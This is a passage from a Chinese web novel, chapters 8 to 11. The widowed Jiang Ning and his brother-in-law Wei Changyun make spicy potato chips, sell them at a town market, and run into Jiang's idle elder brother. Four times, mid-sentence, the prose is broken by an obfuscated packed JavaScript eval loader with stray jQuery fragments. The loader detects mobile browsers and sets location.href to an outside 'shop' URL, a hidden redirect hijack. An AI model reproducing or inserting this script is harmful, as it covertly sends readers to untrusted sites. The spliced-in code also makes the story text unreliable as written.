这可是他的独家秘方,别说小河村的人了,就连原来的家里,酸汤这东西都是一家人一个配方,味道都不一样。 “酸汤鱼是什么鱼?”小小也好奇问。 “就是煮着吃的鱼。”姜宁心想,这才哪跟哪,要不是工具和食材限制,他还能弄出更多吃的。 春夏秋冬,四季都有好吃的。 卫长昀背着东西,走在最后面,听姜宁跟弟妹说话,发现姜宁很有耐心,竟然没一点不耐烦。 想到这,心里舒展了不少。 他回家这两日,光是听问起吃什么、是什么都好几十遍了,姜宁还能一遍遍说。 到家之后,把东西放到厨房外边,姜宁拿了一个大盆,往里放清水,开始洗毛辣果,又让卫长昀搬了几个陶罐,里外洗干净,不能碰到油,再去把之前办席剩下的酒和盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616584|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿来。 毛辣果洗起来不费劲,洗干净了,放在簸箕里控干表面水分,然后全装进陶罐和红辣椒一起捣碎,撒上盐,再放酒,这样搅匀之后,留半个指节的空余,用布封口,木板压实,放在阴凉处就好。 姜宁一连做了两罐,今天摘的毛辣果正好够。 忙活了一个下午,姜宁累得胳膊腰腿都在疼,直接回了房间躺床上休息。 盯着发黑的屋顶跟还漏风的窗户,姜宁一边揉腰一边思索,这盖房子得多少钱才行。 想着想着,什么时候睡着都不知道。 睡了不知道多久,迷迷糊糊地听到有人敲门。 “叩叩。” 姜宁眯着眼,扭头往门口看,“谁啊?” 小小从门外探头,一脸乖巧道:“宁哥哥,是我。” 姜宁往窗户外看了眼,天已经黑了,“怎么了?” “二哥让我来叫你吃饭。”小小比划了一下,“二哥去河边,抓了好大一条鱼,和豆腐一起炖了汤。” 闻言姜宁起身,穿了鞋伸着懒腰往外走,“你二哥还会抓鱼啊?” “嗯嗯!还有螃蟹!”小小牵住姜宁的手,“他没去镇上时,经常给我们抓螃蟹、抓鱼玩。” 姜宁想象了一下再小一点的卫长昀,忍俊不禁,“那可真厉害。” “嗯!二哥可厉害了!”小小重重点头,“大哥一直说,等二哥考上了秀才,家里就能过好日子。” 说完,小小嘴巴一扁,忽地擦了擦眼睛,“可是大哥不在了。” 姜宁往厨房那边瞥去,只见到油灯映出来的身影,放轻了声音道:“小小乖,人呢,都是会经历这样的离别,有的早有的迟,但只要遇见就是缘分,所以难过可以,但不能一直沉浸在难过里哦。” “……好。” 小小听不太懂,却乖乖点头,擦掉眼泪,“家里还有宁哥哥和二哥,我不难过。” 姜宁悄悄松了口气,抬眼时,就见卫长昀拿着碗筷出来,视线看来时,点了下头。 都说穷人家的孩子早当家,卫长昀这一顿饭做得简单,但味道也不差。 姜宁胃口小,饭吃了半碗就饱了,反而喝了两碗汤。 等解决了晚饭,又照顾俩小的洗漱回屋待着,姜宁和卫长昀才得空去切明天一早要炸的土豆片。 厨房不大,但两个人待着也不算拥挤。 一人占了个位置,干起活来都懒得说话,直到切了快一盆,绷着的神经才松懈了些。 姜宁是心里没底,他不确定明天集市上有没有人买,万一没有,那这两天的折腾白搭了。 卫长昀是想起了姜宁白日里问的事,家里粮食不够吃,还得在外面买。 光是粮食就得买,盐、糖、肉那些更不用说了,还有布。 “对了,镇上的油纸怎么卖的?咱们卖东西,总得有一个装的。”姜宁想起了正事,问了句,“也得买些回来补补窗户。” “一文钱二十张。”卫长昀道:“窗户用的要贵些,一文钱五张。” “那明天赶早,得买几十张备着才行。” “不用。” 姜宁正切土豆,听到这一句,转头看卫长昀,“什么?” 卫长昀没看他,低头专心做事,放在他们俩中间的油灯,只能照到一边,让他脸上表情变得晦暗难辨。 没等姜宁继续问,卫长昀就开了口。 他声音听着平静,声线偏低却还带着点未褪去的少年清朗,“我从私塾回来,余下很多。” 姜宁:“……?” 那是读书用的纸,跟粗制的油纸能一样吗? 油纸一文钱二十张,读书用的纸最便宜也得两文钱一张。 卫长昀低声道:“反正也没用了。” 姜宁深吸一口气,刀往砧板上一剁,“卫长昀,你是不是把我的话当耳旁风了?” 卫长昀沉默着,显然是默认了。 姜宁恨不得伸手拧他耳朵,“你退学是暂时,以后还是要回去上,家里困难也是一时的,日后总会好起来,你——” “那纸就算是不拿来写字,也不能拿去包土豆片吧。” 那一袋土豆片说不定还卖不到一张纸的价格,这不买椟还珠么。 没想到啊,这小子竟然是个倔性子。 责任感和负担那么重,迟早有一天得闷声憋个大的。 “我没有。”卫长昀转头,盯着姜宁眼睛,“我只是想,能省一点是一点。” 姜宁抿抿唇,到底是心软,道:“养家不是你一个人的事,别那么大压力。” 他眨了眨眼,“别怕,这不还有我呢。” 8. 第 8 章 灯影下,姜宁额头和鼻尖还挂着一层薄汗,眼睛却格外明亮,带点笑意。 盈盈的眼底,映出了卫长昀惊讶的神情。 哥儿大部分长相都称得上秀气、端正,但要说漂亮拔尖的,却也不多见。 然而此刻的姜宁,显得很漂亮。 不似女子的秀丽,反而因为眉间的少年意气多了几分生动,像山间清泉,让人心里不自觉欢喜。 “那纸留着,给小小和小宝练字也比包土豆片来得好。”姜宁挽起袖子,把盆里的土豆片翻了翻,“不忙的时候,你教他们写字吧。” 五岁正好启蒙,不教多的,名字跟数字得会。 没等卫长昀答应,姜宁给盆里换了水,擦干手,放下袖子往外走,“差不多了,明天先卖这些,好卖之后再做。” 从卫长昀身边走过时,发现他没动,姜宁叹了声。 真是个别扭的小孩,日子再难不也得过,况且还没到走投无路的时候。 做什么总绷着一张脸,明明是个小帅哥来着。 可转念一想,小小年纪没了爹娘,又失了兄长,如今这样也是人之常情。 “好了,既来之则安之,往后日子还长,我们家的日子可不会一直这么难。” 姜宁稍稍踮起脚,抬手揉了揉他头发,“去歇着吧,明早得出摊呢。” 说完,姜宁径自钻出厨房,回了房间。 卫长昀一个人站在厨房,垂眼望着台面被收拾整齐的东西,又望向角落那两个陶罐。 ——别怕,这不还有我呢。 昏暗中,他呆立在原地好一阵,才恍然回过神。 他得努力一些,让家里的日子没那么难。 卫长昀把砧板洗干净立起来,又把盆上的纱布扯得更平整一些,这才灭了油灯离开厨房。 村尾人家少,到了夜里更不见什么灯亮着。 卫长昀穿过院子时,忽地往亮起灯的窗户看,隔着透光的窗户,能看到姜宁的身影。 正走神,却见那身影往窗户边来,他才如梦初醒,飞快往房里走。 心想,那窗户的确该补了。 姜宁脑子里都是明天去出摊的事,压根没注意到院子里的动静,琢磨要怎么让人来买。 收起支窗户的木棍,正要回床边时,又往厨房看了眼。 这个角度看不全,但灯灭了,那卫长昀应该也去歇着了。 姜宁摇摇头,就觉得有些好笑。 卫长昀有责任心是好事,遇上个眼里没活的,他这两日的日子都不会这么舒坦。 可这样大的年纪,心思太重,不见得好,怕执念太深,走上歧途。 好在卫长昀读过书,想来不太会,只要让他稍微放松些,脑子自己就能转过来。 关了窗,姜宁回到床上,瞥眼床头柜子放的陶罐,鬼使神差地盘腿坐着,抱着罐子开始数钱。 钱财可不是身外之物,什么世道都是有钱万事灵,没钱百事哀。 一个铜板一个铜板数明白了,除去买小鸡崽,还剩下一百八十文。 姜宁记下了数字,把陶罐放回去,这才躺进被子里。 白天干了活,入睡快。 梦里都是赚钱,买大宅子,买新衣服,还要顿顿吃肉。 第二天大早,天还没亮,姜宁就起了。 换作以前没闹钟,他是死活起不来的。但今天心里惦记着事,想到可以挣到第一桶金,还挺兴奋,早早就睁了眼。 穿了身稍微厚点的衣服,从屋里出来时,瞥了眼对面卫长昀的房间。 应该还没起吧? 天都没亮呢。 摸着黑朝厨房走了两步,还没进去,就闻到了柴火的味道。 姜宁微微错愕地睁大眼,走到厨房门口,就见卫长昀坐在小板凳上,正在烧火。 “你……起了多久?” 姜宁掀开帘子进去,搓了搓手。 卫长昀抬头看他,答道:“没多会儿,灶都还没烧热。” “怎么起这么早啊?”姜宁在他旁边坐下,顺便在墙脚的箩筐里挑番薯,“来不及做早饭,烤几个番薯吃?” 卫长昀“嗯”了声,接过姜宁递来的番薯,扔到灶孔里,埋在烧过的柴灰下边。 这样等一会儿炸完土豆片,番薯也差不多熟了,而且受热也均匀,不会半生半熟。 “有点睡不着。” 姜宁“哎”了声,才反应过来卫长昀是在回答自己刚才的话,“干了那么多活,还睡不着啊?” 卫长昀点头,火光映在他脸上,“我……” 他不到七岁就去村里的学堂上学,父母总是很忙,大哥比他大了快十岁,兄弟间说不上什么话。 后来小小跟小宝出生,不到半年父母就相继离世。他本不愿意继续上学,想在家帮忙,是大哥说,读书才有出路,不然一辈子都只能在村里看天吃饭。 他信了,所以拼了命的念书。 从杨二爷开的学堂到镇上的私塾,他一直都是最刻苦的那个,生怕对不起家里的期望。 所以,他并无什么朋友。 唯一算得上关系好的,是在镇上私塾的同窗,对方家里是做豆腐的,也指望着他考取功名。 “是不是担心今天卖不出去?”姜宁抱着胳膊,抬头看眼烧水锅慢慢冒出来的热气,“其实我也怕。” 他说完,卫长昀眼里立即有了惊讶。 姜宁失笑,“我当然怕啊,你们觉得好吃,可别人不一定,而且还是第一次卖,哪有十成十的把握。” 他顿了下,接着道:“但不做的话,就不知道会不会成功,总得试试。” 反正现在还饿不死,这次赚不到,他就再琢磨别的法子。 卫长昀被姜宁这一番话说得震惊,他以为姜宁那么兴致勃勃,还干劲十足的样子,是有把握的。 可是为什么呢? 有失败的可能,却还起这么个大早。 “看我干什么?”姜宁哭笑不得,他的确是多掌握了一些知识,但也不是万能的啊。 况且燕朝也不是什么落后的原始社会,想一下成百万富翁只能做梦了。 “我明白了,嫂嫂。” 卫长昀长舒一口气,忽地郑重说了句。 姜宁挑眉,见水差不多热了,去拿盆打水洗漱,不忘夸道:“孺子可教也。” 不钻牛角尖就好,他最怕了。 他俩都是干活利索的人,简单洗漱过后,又随便吃了两口东西垫垫,就抓紧时间炸土豆片。 冷油下锅,烧热,土豆片放进去,不停地翻搅,炸至表面金黄,捞起来滤油,放到簸箕里备用。 就这样,一连炸了四锅。 炸完后,用过的油滤掉渣滓,倒回罐子里,可以用来家里炒菜。 辣椒面得趁热撒上去,他俩一人翻搅一个撒辣椒,很快就弄好了。 姜宁在灶台旁忙,热得一身汗,“你拿竹罩子盖起来,我再去洗个脸。” 卫长昀看他一眼,“哦”了声,依言盖好土豆片,然后去扒拉之前埋灶台里的几个番薯。 等姜宁重新洗完,换了身衣服出来,天已经亮了。 钻进厨房,姜宁就一眼瞥见了碗里剥好的番薯。 “这会儿把他俩送过去,杨二爷家人醒了吗?”姜宁也不客气,拿起番薯咬了一口,烫得不停哈气,口齿不清问:“会不会麻烦了?” 卫长昀一转头,被姜宁动作逗笑,习惯绷着的表情,这会儿到显出该有的少年气。 “大家都要去赶集,起得早。” 姜宁一听,放心下来。 那就行,不然他总怕麻烦别人。 番薯作为主食之一,最大的特点就是管饱。 他俩一人吃了两个烤番薯,就一块收拾出摊的东西。 麻辣土豆片炸过之后很脆,得小心不能压着了,所以装在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616585|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背篓里,还在上面铺了几层布,再用一块布封住背篓口,绷紧了用绳子绑严实。 等他们弄完,小小和小宝也起床了。 直到今天有正事要做,起床了也不哭不闹,乖乖洗漱之后,捧着烤红薯,跟着他们去了杨二爷家。 杨二爷一家住在村中间,旁边有棵大槐树,是一户二进院的宅子。 姜宁和卫长昀领着俩小孩去的时候,杨二爷已经起了,正在院子里来回走。 “要去集上啊?孩子放我这吧,正好跟修远一起玩。” 姜宁笑着答应,道:“那今天可要麻烦您了。” 卫长昀示意两个孩子进去,看了他们一眼,才道:“老师,给您添麻烦了。” 杨二爷摆手,笑呵呵地冲小小、小宝招手,“过来吧,跟你们修远哥哥玩,让奶奶给你们做炸豆子吃。” “二爷爷好,二奶奶好。” 小小和小宝长得乖,养得不是白胖那种,却干干净净,招人喜欢。 他俩这一喊,杨二爷和厨房里的杨二奶心里喜欢得不行。 杨二奶撩起围裙擦手,走了过来,“进屋里坐会儿不?” “不了,等会儿赶不上早集,晚了怕东西卖不出去。”姜宁边说边从背篓里拿出一把香椿,“这个是昨天去地里摘的,炒鸡蛋吃。” “这可不行,哪能要你们的。”杨二奶摆手拒绝。 姜宁连忙把菜塞到他手里,“就一把菜,有什么不好意思,小小和小宝可还得在您这儿蹭吃蹭喝的。” 他这一说,老人家也不好意思拒绝了,把菜接了过去。 卫长昀紧了紧背篓,等姜宁盖好布又往上托了托,“那老师、师母,我们先去集上了。” “去吧,路上小心些。” 姜宁和卫长昀“哎”了声,又交代两个小的要听话,别给人添乱,这才往镇上去。 每逢赶集日,村里大多数人家都会去镇上。 这不,天才大亮,村口已经有不少人结伴去镇上,多是平日里关系近的。 隔得老远,姜宁就看到了王栓娘。 “等他们走前面吧,也不急着一时半刻的。”姜宁倒不是怕了,是不想添堵。 卫长昀想起那日回家,王栓一家堵家门口的事,眉头皱了下,“好。” “别多想,我只是烦他们家而已。”姜宁生怕卫长昀想岔了,解释了一句。 卫长昀看向他,思忖片刻道:“我不会让他们再欺负你……跟小小他们。” 姜宁抬眼看他,唇边牵开一抹笑,“好啊。” 卫长昀觉得姜宁没把自己的话当真,刚想再说什么,就听得前面传来说话声。 “哟,那不是卫大家的寡夫郎吗?头几天还装病,结果又是下地又是赶集的,可别坏了身子,还怪是人家害的。” “卫大真是可怜,娶了个天煞孤星,自己丢了命不说,连自家二郎都害了,书也读不成,白花花的银子全打水漂了。” “可不是吗?所以说啊,这不管是娶媳妇还是娶哥儿,都要看明白人,一个不好,那就是赔钱买卖。” “我看卫大就是被这宁哥儿迷了眼,长得好看有什么用,不也无福消受。” “姜家可都不认这个哥儿,前前后后才一月,出了门连亲家死了人都不来,可见啊,这姜家也知道他晦气。” 姜宁隔了得有十米,还能听到这几句,嗓门是真大。 无语了都,闲着没事去地里翻翻土不好吗?净在背后蛐蛐人。 卫长昀眉头紧皱,正要上去,胳膊一下被拉住。 “走,别理他们,越理越来劲。”姜宁拽着他胳膊,“说几句又不掉肉。” 卫长昀没动,显然是不高兴了。 姜宁扯了扯他衣服,干脆撒了手,“听我的,还是听他们的?” 卫长昀没想到姜宁会这样问,顿时有些慌了,薄唇抿成一条线,过了片刻开口,“听嫂嫂的。” 9. 第 9 章 小河村到永安镇,按照正常速度走,大约得一个时辰。 村口的小插曲,一点没影响到姜宁,一路跟着卫长昀往镇上去,遇上认识的就跟他介绍,不认识的就问,脸上好奇半点没藏着。 眼睛亮亮的,看到什么都新奇。 姜宁从小就在农村长大,可他那会儿的农村,都村村通路,县县通高速了,地方偏一点、房子矮一点,其他方面都挺滋润的。 和现在看到的,完全不同。 “你平时去私塾时,就走这一条路?”姜宁随手折了一根树枝在手里,一晃一晃的,“村里去镇上就这一条路吗?” 卫长昀看他一脸兴致,点头解释,“这一条是最好走的,寻常日子也有人。” 姜宁追问:“还有不好走的?” 卫长昀指了一下不远处的山,林木茂盛,一眼根本看不见山里情况,“可以从山上翻过去,半个时辰就到,但山路凶险,又有野兽出没,只有猎户才会走。” 有野兽? 姜宁陷入了怀疑人生里,走了好一段路都没回过神来。 他竟然忘了,在山脚的村子是会遇到野兽的。 不说豺狼虎豹跟熊了,就是来只黄鼠狼、野猪,都很难应付。 “那村里有遇到过……野兽下山觅食吗?”姜宁不自觉吞咽了下,“老虎或者狼?” 问完他紧盯着卫长昀,果然在他脸上发现了迟疑。 姜宁惊讶道:“真的有啊?” 卫长昀摇头之后又点头,正要说话,听到有车轮滚过地面的动静,伸手拉了姜宁胳膊一把,两人换了个边。 “我没见过,但听老师说起过。”卫长昀很快松了手,“他年轻时有老虎下山,村里人都说那是吊睛白额大虫,会吃人,大家都躲在屋子里不敢出门,真要出门也得好几个人一起。” 姜宁心里好奇,倒也没那么害怕了,“那后来呢?” 卫长昀对上他的眼睛,怔了下道:“有人家的羊丢了几只,过了几天就没再发现老虎新的脚印,应该是回深山里了。” 闻言姜宁恍然点头,心想没伤人就好。 他俩一路上都有话说,主要是姜宁。 商量着东西卖出去了,要买点什么回家去,毕竟赶紧一趟来回两个多时辰,不能随时想买就买。 不过这徒步走山路,着实是为难姜宁现在的身子。 前半段还好走,不觉得累,到后面越走越累,腿都要抬不起来了。 姜宁坐在路边草堆上休息时,看见有驴车和牛车经过,心里眼里都是羡慕。 他迟早得搞一辆代步工具,毕竟这儿可没公共交通。 卫长昀看姜宁要起身,“要不要再歇会儿?” 姜宁“嘿嘿”笑了声,走到背篓旁边,打开上面的布,低头在里面翻了翻,没一会儿拿出个小陶罐。 “喝点水再走,我特地装的,聪明吧。” 再是初春,可走了这么久,人又渴又累,不喝水怎么能行。 姜宁抱着陶罐咕噜喝了好几口水,微凉的水顺着喉管到了胃里,一下舒爽了不少。 擦了擦嘴角和脖子上的水,他把陶罐往卫长昀面前递,“该你喝了,喝完接着走。” 卫长昀看眼陶罐,又看眼姜宁,“我……” 姜宁蹙眉,直接塞他手里,“都一个锅里吃饭了,还不能喝水了。” 卫长昀:“……” “谢谢。” 等他俩休息够了,又喝水补充体力,这才继续往镇上赶。 永安镇是一处不算繁盛的小镇,往来商贸更是匮乏,只有茶叶较为突出,每年都有茶商前来收货。 全镇也只有不足千户人家,加起来统共不到一万人。 姜宁和卫长昀到镇上时,街市已经热闹起来,不过赶集的地儿在西边,他们还得从桥上过去。 比起西边的街市,东边的铺子可就要贵些了。 卖的都是精货,胭脂水粉、首饰玉佩,还有布匹跟文房四宝、各类书,寻常人家少有得买。 “出摊有固定的位置吗?”姜宁边走边问,还不时四处打量,“记得先去买油纸。” “前面就有卖。”卫长昀对镇上比姜宁熟悉不少,指了一家铺子。 “得选一个人流量大的地方摆摊,这样人来人往才能注意到咱们。”姜宁仔细瞅着最佳摊位,“有小孩多的地方也行。” 集市摆摊就是得跟别人抢生意,你不好意思,那就钱就给别人赚走了。 姜宁深谙其中道理,庆幸自己脸皮挺厚的,完全没觉得不好意思。 左挑右选,买完油纸后,姜宁终于找到了心仪的摊位。 桥边。 东边和西边的人要往来,就必须得从这桥上经过,平时不一定有那么多人,但赶集的天一定人多。 镇上的人再有钱,那也得精打细算过日子。 来集上卖东西的大多都是村里人,物美价廉,可不得来买吗? “就这了,还好有个位置。”姜宁帮着卫长昀把背篓放下来,“你一会儿要不要去别处转转?” 卫长昀抬头,一脸疑惑看他。 姜宁刚想要解释,眼珠才转呢,就听卫长昀开口了。 “不用。”卫长昀道:“我做我的,碰上了也和他们无关。” 姜宁一怔,没想到自己的心思被卫长昀看穿了,顿时心虚地瞥向别处。 他倒不是觉得摆摊、下地是什么丢人的事,可一想到今早在村口被一群人指指点点,就担心卫长昀从前那些同窗里有不知好歹的,赶着来羞辱人。 往后可还要回私塾上学的,闹起来了,多少是不好。 “卖多少一斤?”卫长昀整理好摊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616586|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揭开布,立即能闻到香辣味,“我拿了支炭笔,可以写了挂前面。” 姜宁心里那点胡思乱想一下飞走了,露出茫然地“啊”了声,全然忘记定价这回事。 卫长昀似乎也没想到姜宁刚才一路过来都没琢磨定价的事,思忖了片刻,不再问,反而拿出纸和炭笔。 “一路过来时,我看了,从地里挖出来的土豆是五文钱三斤,算下来四五个就顶一斤了。” 卫长昀一边算一边道:“我们带来的土豆片轻不少,这一框也就十五斤,得按两来卖。” 姜宁脑子转得快,试探道:“那一两一文钱?” 这可是经过加工的,拿起来就可以吃,跟地里挖出来的土豆不一样。 包子还两文钱一个,他这一两一文,也不算得贵了。 卫长昀看他一眼,已经在纸上写好了,“嗯,一文一两,秤是小秤,能秤。” 姜宁“嗯”了声,眼里带上了笑意。 没想到,卫长昀脑子挺活络,不是只会读书的书呆子。 摊子摆了一会儿,没什么人来问,旁边卖菜的、卖鸡蛋的倒是生意好。 姜宁也不急,四处张望着,终于瞥见了几个小孩,手里拿着糖葫芦正要去街对面的米糕。 “哎,你们是去买米糕吗?” 几个小孩听到声儿,一下停住了,回头一脸疑惑地看姜宁。 姜宁笑得亲切,冲他们招了招手,“我也想吃,不过不知道多少钱,想问问你们。” “三文钱一块。”梳了两根辫子的小姑娘怯生生答道。 旁边小男孩个高些,把她往后拉了拉,盯着姜宁,“你这么大了,怎么不自己去问?” 姜宁伸手挠了挠鼻尖,不太好意思说:“我脸皮薄。” “那给你说了,我们走了。” “等下,你们要不尝尝这个,自家做的土豆片,今早炸的,就当我给你们几个道谢了。” 姜宁叫住他们,朝旁边卫长昀使眼色。 卫长昀起初没明白他在做什么,见他使眼色,才反应过来,立即用油纸折起来,装了小半袋给他们。 “放了香辣粉,吃的时候当心呛着。” 长得胖些的男孩一手接过去,拿了一片往嘴里塞,牙齿咬下去时可用劲了,差点磕着。 “……怎么是脆的?” “什么脆的?” “土豆片啊,跟我阿爹做的一点不一样,脆脆的,不硬。” “我也尝尝。” “切得好薄啊,也不辣,好香。” 姜宁没再拦他们,往石头上一坐,示意卫长昀也坐着休息会儿。 他盯着那群小孩,又瞄了瞄周围的人,刚才还没几个人关注他们的摊子,这会儿都看过来了,顿时信心大增。 区区小孩,根本没人能逃过薯片的诱惑。 10.第 10 章 “你这土豆片怎么卖啊?” “会不会辣?小孩能吃吗?” “我牙口不好,吃得了吧,别崩了牙。” “一两就要一文,我都可以买豆腐了,太贵了,便宜点不?” …… 那几个小孩才走了小半个时辰,姜宁和卫长昀的小摊前就围了一堆人。 姜宁忙着回答,小秤交给了卫长昀,让他称,自己一边解释一边用油纸折成袋子装。 “不怎么辣,麻香麻香的。” “脆得很,牙齿一磕就碎了。” “婶子,可便宜不了了,这香料可是我自己做的,用的都是上号辣椒跟花椒,小本买卖混口饭吃,咱们也不能一点不赚吧。” 说起做大生意姜宁可能没经验,但小摊小贩的生意,他可见多了。 他家还没开上农家乐之前,他爸妈在学校门口卖小吃的,炸淀粉肠、土豆、莲花白跟苕粉这些,学生可爱吃了。 偶尔也有大人来问,有的一说贵,他爸妈就这套说辞。 出摊一开张,东西就卖得快。 姜宁和卫长昀就没歇下来的时候,毕竟就他们家卖这个,这叫供不应求,还有点饥饿营销的成分在。 晚了可就买不到,也吃不到了。 民以食为天,谁都躲不过嘴上这一口。 姜宁擦了擦汗,偏过头问卫长昀,“还剩下多少?” 卫长昀放下葫芦做的瓢,低头往背篓里看,“两斤多点的样子。” “那快卖完了,早点卖完,咱们去买点东西再回家。”姜宁坐下来,用手当扇子,呼呼往脸上扇风,“能卖出去,咱们下趟集市可以多做点。” “做三十斤?”卫长昀问。 姜宁眼珠一转,比了个数字,“四十斤,其中十斤换个口味做,这样有新鲜感,咱们还可以再卖一次。” 卫长昀不解,往周围瞥去,“怎么只能再卖一次?” 镇上做买卖的,数十年如一日卖的都是一样的东西,不过是价格会浮动,或者去别的城镇学了些新鲜的玩意儿卖。 别说铺子和小摊卖的,连为数不多的酒楼、客栈里,吃食也不见得会变。 “你看刚才来买的那些人,都是一两二两的称,说明土豆片就是吃着玩的,不吃也行,跟米面肉不一样。” 姜宁脸上挂着轻浅的笑,耐心解释,“连茶跟糖都比不了,所以下次多一个口味,咱们还能再卖下一次的,第四次来的人肯定就少了。” 小吃这东西,好吃归好吃,新鲜归新鲜,但终究只是个可吃可不吃的玩意儿。 可替代性太高了。 他真正想卖的可不是土豆片,是别的。 “我明白了。”卫长昀仔细想他的话,明白得很快,再看姜宁时,眼里又多了些不一样的情绪,“多谢嫂嫂解惑。” 姜宁“噗嗤”笑出声,摆摆手,“你怎么这样客气?好了,把剩下的卖了,去周围逛逛,你也给我介绍介绍。” 前面十几斤都卖得那么快,剩下的两斤多也没花多少时间。 从出摊到收摊,也就两个多时辰,刚好可以吃晌午饭,也能歇会儿。 卫长昀刚背上空背篓,就见姜宁低头去捡掉地上的布,发现他衣摆因为坐得久了,贴在后膝上。 不知道是不是因为姜宁跟他相处时,没半点扭捏,他伸出手时也没多想,自然地替他拉了下去。 “嗳?黏上叶子了?”姜宁起身,反手去拍了拍,抬眼看他,“一会儿想吃什么?” 这话一下给卫长昀问住了,别说在村里时,到镇上读书后,他也没在街上吃过东西,顶多买俩包子、馒头。 姜宁没听到他说话,一下就反应过来了,“有豆花面吗?我想吃那个。” 卫长昀点头,“我知道有一家好吃的。” “那先去吃东西,我都快饿死了。”姜宁把手里的布一团,放进背篓里,“吃饭吃饭,天大地大都没吃饭事大。” 这几日下来,虽然累,可姜宁身上那股病气散了许多,尤其是气色看起来红润了些,和前一阵判若两人。 卫长昀跟在姜宁身后,不自觉想到了病故的大哥,心里满是矛盾。 “对了,一会儿去买二两肉。”姜宁盘算着手里的钱怎么花,“不知道贵不贵,要是便宜些可以买三两。” 二两肉再怎么省着吃,也只能分成两回,切片炒菜一人都分不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628228|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几片。 卫长昀闻声回过神,脸上表情没藏住,被姜宁一眼看到。 姜宁倒是没多想,他一个才到卫家月余的人,没办法跟卫长昀在卫大的事上感同身受,自然不好说什么。 别的不说,卫长昀能这么配合他折腾,已经出乎意料了。 要是运气不好,碰着个性子差些的,今天这一百五十文钱,也挣不上。 “你会不会觉得我大手大脚,挣了点钱就想花出去?”姜宁提了别的话题,“二两肉,得二三十文吧。” 卫长昀想都没想摇头,“你挣的,该花便花。” 姜宁倏地笑起来,拍拍他肩膀,“那就行,走了,你再不走前边带路,我可真就饿得走不动了。” 这下卫长昀也没了胡思乱想的心思,朝前走了一步,给姜宁领路。 一路去面摊的路上,姜宁东问问西问问,反而不会露馅,因为他真没来过,半点记忆都没有。 从前在姜家,姜宁那就是养在家里的哥儿,帮着做点农活,洗衣做饭,等着哪日嫁出去。 “宁哥儿?真的是你啊!” 姜宁正说话,胳膊忽地被人拽住,惊得下意识往卫长昀身边靠,扭头警惕地看过去。 卫长昀还未反应过来,身体已经挡在姜宁身前,皱眉盯着他胳膊上那只手。 声音低而沉,“你是谁?” 身形敦实的男人长了一张国字脸、一双单眼皮,生得有些黑。 他看看卫长昀,又看看姜宁,道:“真是宁哥儿,刚才远远看了眼,以为看岔了,你这是赶集来了?” 姜宁抿唇,眉头微蹙,看似被吓住了,实际上正在琢磨眼前的人是谁。 记忆库里搜寻了大半天,才终于想起来,这不是他大哥吗? 姜富贵,二十五,还未娶妻。 倒不是长相原因,是他这人远近闻名的好吃懒做,加上姜家穷,谁家都不愿意嫁来受罪。 姜宁想起了刚才出摊的事,后背一阵冷汗。不怕贼偷就怕贼惦记,他这才挣了多少,要让姜家知道,铁定安生不了。 他垂眸片刻,慢慢抬眼,露出怯弱的模样,喊了一声。 “大哥。” 11.第 11 章 姜富贵一拍大腿,瞅了眼怯生生的模样,跟在家时一样,心里那叫一个舒坦。 要姜宁嫁人了,脾气就变硬,往后还怎么指望亲戚间帮忙。 “这就是你那搁镇上读书的小叔子吧?”姜富贵笑呵呵地看向卫长昀,“读书人就是不一样,看着就有文化。” 姜宁眼睛微垂着,纤密的睫毛正好挡住了眼底情绪。 原来不是冲着他来的,是冲着卫长昀来的。 想想倒不难理解,在大家眼里,读书人就是做大事的,以后不是秀才就是举人,万一考个状元,那就鸡犬升天。 可不得使劲儿巴结么。 卫长昀从没见过姜家的人,尤其是连丧礼都不来,他实在是瞧不上姜家的人。 听姜富贵跟自己套近乎,下意识皱起眉。 姜宁立即看出卫长昀的厌恶,轻轻扯了扯他袖子,接过话头,“这不今天赶紧吗?小小这几天不舒服,我怕耽误了来镇上抓点药,正好给二郎送些换洗的衣服。” 姜富贵一听卫家那对龙凤胎生病了,表情立马变了,“那不得花钱啊?随便挖点药吃吃得了,小孩子生病是正常的事。” 